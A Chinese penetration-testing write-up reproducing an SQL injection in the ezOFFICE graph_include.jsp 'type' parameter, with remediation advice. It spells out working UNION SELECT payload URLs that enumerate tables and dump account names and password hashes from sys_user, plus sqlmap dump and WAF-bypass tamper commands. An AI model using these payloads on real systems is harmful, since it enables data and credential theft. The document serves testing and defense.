1. 项目概述:从一次内部渗透测试说起
前段时间,公司内部组织了一次针对老旧业务系统的渗透测试,我负责的资产清单里就包含了几个还在服役的万户ezOFFICE协同办公平台。这玩意儿在很多企事业单位里都挺常见,历史包袱重,版本迭代慢,是安全测试的重点关注对象。在信息收集阶段,我习惯性地去翻看那些可能被忽略的静态资源文件和看似无关紧要的JSP页面,graph_include.jsp这个文件路径就引起了我的注意。从文件名看,它像是一个用于图表展示的包含文件,通常这类文件会接收参数来动态生成图表数据。经验告诉我,这种“数据查询型”的接口,如果过滤不严,很容易成为SQL注入的突破口。果不其然,经过一番测试,成功触发了注入。今天,我就把这个“万户 ezOFFICE graph_include.jsp SQL注入漏洞”的完整复现过程、原理分析和实战心得记录下来。无论你是刚入门的安全爱好者,想通过一个真实案例理解SQL注入的利用链条;还是有一定经验的安服工程师,需要快速验证客户资产风险,这篇内容都能给你提供一份清晰的“作战地图”。我们将从环境搭建开始,一步步手工探测注入点,利用漏洞获取数据,并深入理解其背后的代码逻辑和防御思路。
2. 漏洞环境搭建与目标分析
复现漏洞的第一步,是搭建一个与目标尽可能相似的环境。对于这种特定版本的历史漏洞,直接寻找存在漏洞的ezOFFICE安装包是最稳妥的方式。
2.1 靶场环境准备
我选择在本地虚拟机中搭建测试环境。首先,需要获取存在漏洞的万户ezOFFICE版本。经过搜索和比对漏洞披露时间,确认受影响的版本范围较广,多个历史版本均存在此问题。我找到了一个较旧的安装包(例如 ezOFFICE 7.0 版本)。安装过程相对简单,在Windows Server 2008 R2或Windows 7的虚拟机中,按照安装向导一步步进行即可,数据库通常选择内置的MySQL或SQL Server。
注意:所有漏洞复现活动必须在完全隔离的本地虚拟机或授权测试环境中进行!严禁对互联网上的真实系统进行未授权的测试,这是法律红线。
安装完成后,访问http://[靶机IP]:8080(端口可能因安装配置而异)即可看到ezOFFICE的登录界面。我们需要找到存在漏洞的文件。根据漏洞信息,目标文件路径通常为/defaultroot/graph/graph_include.jsp。直接在浏览器中访问这个路径,如果返回空白页面、错误信息或者一个看似正常的图表框架,都说明这个文件是存在的,这是我们攻击的入口。
2.2 目标页面功能与参数推测
graph_include.jsp,顾名思义,是一个用于“包含”图表组件的JSP文件。在实际业务中,它很可能被其他主页面(如报表统计、数据分析页面)通过或标签引入,并传递参数来指定要展示哪些数据。常见的参数可能包括reportId(报表ID)、chartType(图表类型)、dataSource(数据源名称)等。我们的任务就是找出哪个参数被直接拼接到了数据库查询语句中,并且没有经过有效的过滤。
在无法直接查看源码的情况下,我们可以通过简单的传参测试来观察页面反应。例如,尝试访问:http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type=1观察页面是否发生变化或报错。如果传参type=1和type=2页面显示内容不同,则说明type参数是有效的。这是黑盒测试中定位功能参数的基本方法。
3. SQL注入漏洞手工探测与验证
手工注入是理解漏洞本质的最佳方式。它能让你清晰地感知到数据从请求到数据库,再返回前端的完整链路。
3.1 初步探测与注入点识别
首先,我们尝试经典的探测方式:添加单引号'引发数据库语法错误。 访问:http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type=1'如果页面返回了数据库错误信息(如包含“SQL”、“Syntax”、“MySQL”、“JDBC”等关键词),那么这里存在SQL注入的可能性就极高了。在本次复现的ezOFFICE中,我传参单引号后,页面返回了一个典型的Java SQL异常栈信息,直接暴露了数据库类型为MySQL,并且部分SQL语句片段也被打印出来,这属于错误回显型注入,利用起来非常方便。
接下来需要判断注入点的类型,是数字型还是字符型。这决定了我们后续构造Payload时是否需要处理引号。
- 数字型测试:
type=1 and 1=1和type=1 and 1=2。如果1=1时页面正常,1=2时页面异常(空白、错误或内容缺失),则很可能是数字型注入。 - 字符型测试:假设参数可能被写成
where type='$type'。我们测试type=1' and '1'='1和type=1' and '1'='2。同样观察页面差异。
经过测试,type=1 and 1=1页面正常,type=1 and 1=2页面内容消失或报错,初步判断为数字型注入。这意味着参数值在SQL语句中很可能没有被单引号包裹,直接拼接在了WHERE条件中,例如WHERE chart_type = 1。
3.2 信息获取:联合查询(Union Select)实战
确认注入点且存在回显(或错误信息可被利用)后,就可以使用UNION SELECT来获取数据了。这是手工注入中最核心、最有效的技巧。
第一步:判断当前查询语句的字段数。使用ORDER BY子句进行猜测。访问:http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type=1 order by 5--逐渐增加数字(5,6,7,8...),直到页面报错。假设order by 8时报错,而order by 7正常,则说明原查询语句返回的列数为7列。
第二步:寻找数据回显位。确定了列数后,我们用UNION SELECT来探测哪些列的内容会显示在页面上。构造Payload:http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type=-1 union select 1,2,3,4,5,6,7--这里将type设为-1或一个不存在的值,目的是让原查询结果为空,从而确保页面显示的是我们union select的结果。如果页面某处显示了数字“2”、“3”等,就说明对应的第2列、第3列是回显位。
在我的测试中,页面图表标题的位置显示了“2”,图表的横坐标轴标签位置显示了“3”。非常好,我们找到了两个回显点。
第三步:获取数据库基本信息。现在,我们可以把回显位替换成我们想查询的数据库函数。
查询当前数据库名和用户:
http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type=-1 union select 1,database(),user(),4,5,6,7--这样,database()的结果会显示在标题位置,user()的结果会显示在坐标轴标签位置。从结果中,我得知当前数据库名为ezoffice,用户为root@localhost(这是一个危险信号,说明应用使用了高权限数据库账户)。查询MySQL版本:
http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type=-1 union select 1,version(),@@version_compile_os,4,5,6,7--这能帮助我们了解目标环境,为后续可能的提权或利用其他漏洞做准备。
4. 深入利用:获取数据库结构与敏感数据
知道了数据库名,下一步就是“翻箱倒柜”,查看里面有哪些表,特别是存放用户凭证、个人信息的管理表。
4.1 枚举数据库表与列
在MySQL中,information_schema数据库存储了所有元数据,是我们最好的帮手。 首先,查询ezoffice数据库中有哪些表:http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type=-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()--group_concat()函数可以将所有结果合并成一个字符串,避免多次查询。执行后,在回显位我们会看到一长串表名,如sys_user,sys_role,oa_document,hr_employee_info等。其中sys_user(系统用户表)和hr_employee_info(员工信息表)无疑是高价值目标。
接下来,查看sys_user表有哪些列:http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type=-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database() and table_name='sys_user'--常见的列名可能包括user_id,login_name,password,real_name,email,mobile等。果然,我看到了ACCOUNT(登录名)、PASSWORD(密码)、NAME(真实姓名)这些字段。
4.2 拖取核心数据:用户账号与哈希密码
现在,可以直接从sys_user表中提取数据了:http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type=-1 union select 1,concat(ACCOUNT, ':', PASSWORD, ':', NAME),3,4,5,6,7 from sys_user limit 0,10--这里使用concat将账号、密码和姓名用冒号连接起来显示。limit 0,10表示取前10条记录,防止数据过多导致显示异常。
执行后,在页面回显位置,我得到了类似这样的结果:admin:7a57a5a743894a0e:系统管理员 zhangsan:e10adc3949ba59abbe56e057f20f883e:张三 lisi:c33367701511b4f6020ec61ded352059:李四
这里有一个非常关键的发现:
- 用户
admin的密码字段是7a57a5a743894a0e,这看起来是一个16位的字符串,很像是MD5哈希值的前16位(即16位MD5)。在旧系统中,为了“优化”存储或兼容性,有时会只存储MD5的前16位,这是一种不安全且不标准的做法。 - 用户
zhangsan的密码e10adc3949ba59abbe56e057f20f883e则是标准的32位MD5哈希。这个值非常眼熟,它就是123456的MD5值。这说明该用户使用了弱密码。 - 用户
lisi的密码c33367701511b4f6020ec61ded352059是654321的MD5值。
实操心得:密码哈希分析遇到这种16位的哈希,首先要怀疑它是截断的MD5。可以尝试用
7a57a5a743894a0e去CMD5等在线解密网站查询,如果查不到,可以尝试将其补全为32位(通常后16位是固定的或可推测的,但这里不行)。更有效的方法是,在获取了数据库权限后(如果漏洞允许),直接查看密码字段的定义和应用的加密代码。另一种思路是,利用获取的账号尝试爆破或撞库。admin的密码如果是弱密码,其16位MD5的前缀也可能出现在其他泄露的密码库里。
5. 漏洞原理分析与代码审计视角
手工复现成功,我们再来深入看看漏洞的根源。虽然无法直接拿到官方的JSP源码,但我们可以基于现象和JSP的常见编程模式,还原出大致的漏洞代码逻辑。
5.1 漏洞代码还原与问题根因
graph_include.jsp文件很可能包含类似以下问题的代码片段:
<% String type = request.getParameter("type"); // 没有进行任何过滤或预编译 String sql = "SELECT chart_title, x_data, y_data FROM chart_config WHERE chart_type = " + type + " AND is_valid = 1"; Connection conn = ...; Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(sql); // ... 将 rs 中的数据用于渲染图表 %>或者,参数被用于更复杂的动态查询组装中。关键问题在于:
- 直接字符串拼接:用户输入的
type参数被直接拼接到SQL查询字符串中。 - 使用Statement而非PreparedStatement:代码使用了
Statement接口执行SQL,该接口不会对参数进行预编译和转义,为注入大开方便之门。 - 错误信息回显:当SQL语句执行出错时,系统将详细的异常信息(包含SQL语句片段)直接返回给前端。这虽然方便了开发调试,但在生产环境中是极大的安全隐患,极大地降低了攻击者的利用门槛。
5.2 从漏洞看安全开发误区
这个漏洞是典型的“历史欠账”,反映了早期Web开发中普遍存在的安全问题:
- 过度信任客户端输入:认为前端传递的参数(尤其是看似为数字的ID)是安全的。
- 功能优先,安全滞后:快速实现图表展示功能,忽略了参数校验和安全的数据库操作方式。
- 调试信息泄露:生产环境未关闭详细的错误报告。
6. 自动化工具辅助验证:Sqlmap实战
手工注入能让我们理解细节,但在实战渗透测试或批量验证时,使用自动化工具如Sqlmap能极大提升效率。这里演示如何用Sqlmap验证此漏洞。
6.1 基本探测与数据获取
首先,保存含有漏洞参数的请求到一个文件ezoffice.txt,内容如下:
GET /defaultroot/graph/graph_include.jsp?type=1 HTTP/1.1 Host: [靶机IP]:8080 User-Agent: Mozilla/5.0... ...然后运行Sqlmap:
sqlmap -r ezoffice.txt --batch --dbs-r参数指定请求文件,--batch自动选择默认选项,--dbs枚举数据库。Sqlmap会很快识别出注入点并列出所有数据库,其中应该包含ezoffice。
接着,获取ezoffice数据库的所有表:
sqlmap -r ezoffice.txt --batch -D ezoffice --tables然后,导出sys_user表的数据:
sqlmap -r ezoffice.txt --batch -D ezoffice -T sys_user --dump--dump命令会尝试导出表里的所有数据。Sqlmap可能会询问是否尝试破解密码哈希,可以选择否,我们更关注明文或哈希值的获取。
6.2 Sqlmap高级参数与绕过技巧
在一些有基础防护(如简单的WAF)的情况下,可能需要调整Payload。
- 设置延迟:避免请求过快被屏蔽。
--delay=1(每次请求间隔1秒)。 - 使用代理:方便观察和调试请求。
--proxy="http://127.0.0.1:8080"(配合Burp Suite)。 - 指定注入技术:如果时间盲注更稳定,可以指定
--technique=T。 - 绕过WAF的tamper脚本:如果遇到过滤,可以尝试使用
--tamper=space2comment,charencode等脚本对Payload进行混淆。
注意事项:Sqlmap使用伦理
- 仅用于授权测试:这是铁律。
- 控制影响:使用
--dump时,尽量避免对生产数据造成修改。可以使用--sql-query执行自定义查询来替代。- 避免DoS:不要使用
--threads参数设置过高的并发数,以免对目标服务造成拒绝服务攻击。
7. 漏洞修复与安全加固建议
复现漏洞的最终目的,是为了修复和预防。针对此类SQL注入漏洞,修复方案是层次化的。
7.1 紧急临时处置
如果无法立即升级或修改代码,可以在WAF(Web应用防火墙)或网关层面设置紧急规则,拦截对/defaultroot/graph/graph_include.jsp文件的访问,或者对type参数进行严格的数字格式校验(只允许数字),阻断攻击路径。
7.2 根本性修复方案
使用预编译语句(PreparedStatement):这是解决SQL注入最根本、最有效的方法。将JSP代码中的
Statement全部替换为PreparedStatement,并使用参数化查询。String sql = "SELECT chart_title, x_data, y_data FROM chart_config WHERE chart_type = ? AND is_valid = 1"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setInt(1, Integer.parseInt(type)); // 确保转换为整数 ResultSet rs = pstmt.executeQuery();严格的输入验证与类型转换:在获取参数后,立即进行验证。对于
type这种应为数字的参数,使用Integer.parseInt()转换,并捕获NumberFormatException异常,对于非数字输入直接返回错误。最小权限原则:为ezOFFICE应用连接数据库的账户分配最小必要的权限。禁止使用
root或sa等数据库管理员账户。通常只赋予其对应业务数据库的SELECT、INSERT、UPDATE、DELETE权限,甚至根据业务需要进一步细化。关闭错误回显:在生产环境中,配置JSP或应用服务器(如Tomcat)的
web.xml,使用自定义错误页面,避免将数据库异常详情直接返回给用户。这能有效增加攻击者的盲注难度。代码审计与升级:对系统中所有JSP、Servlet进行全面的代码安全审计,查找类似的拼接查询。同时,关注厂商的安全公告,及时升级到已修复漏洞的最新版本。
8. 防御视角下的思考与拓展
从这个简单的graph_include.jsp漏洞,我们可以延伸到更广的防御层面。
8.1 企业资产中的“影子入口”
像graph_include.jsp这类文件,通常不是主功能入口,容易被开发和安全人员忽略。在企业的安全资产梳理中,需要特别关注这些“边缘”页面、组件包含文件、API接口、调试页面等。它们往往因为关注度低而成为安全短板。定期进行全路径扫描和渗透测试,是发现这类“影子入口”的有效手段。
8.2 漏洞复现的价值超越“利用”
我们复现漏洞,不仅仅是为了“拿到shell”或“拖到数据”。更深层的价值在于:
- 理解攻击链:从外部参数输入,到后端处理,再到数据库交互,完整地走通攻击路径,能让你对应用架构的薄弱点有直观认识。
- 评估真实风险:通过复现,你能准确评估该漏洞在特定环境下的危害程度。例如,本例中虽然能获取密码哈希,但如果是16位弱哈希或可破解的弱密码,风险就极高;如果密码是强哈希且系统有其他防护,风险则相对可控。
- 制定精准的修复方案:只有亲手验证了漏洞,你提出的修复建议(如“在XX文件的XX行使用预编译语句”)才最具体、最可行。
8.3 从一次注入到全局防护
一个SQL注入点被利用,攻击者可能以此为跳板,进行数据库提权、读取服务器文件(LOAD_FILE)、写入Webshell(INTO OUTFILE)等更深层次的攻击。因此,防护必须体系化:
- 前端:输入格式校验、长度限制。
- 后端:参数化查询、输入过滤、输出编码。
- 数据库:最小权限、网络隔离、日志审计。
- 运维:WAF部署、定期漏洞扫描、补丁管理。
这个万户ezOFFICE的漏洞案例,就像一枚棱镜,折射出Web安全中经典且持久的问题。它提醒我们,安全是一个持续的过程,需要开发、运维、安全团队的共同关注,任何细微的疏忽,都可能为整个系统打开一扇危险的后门。在平时的工作中,养成对每一个用户输入都保持怀疑的习惯,是写好安全代码的第一步。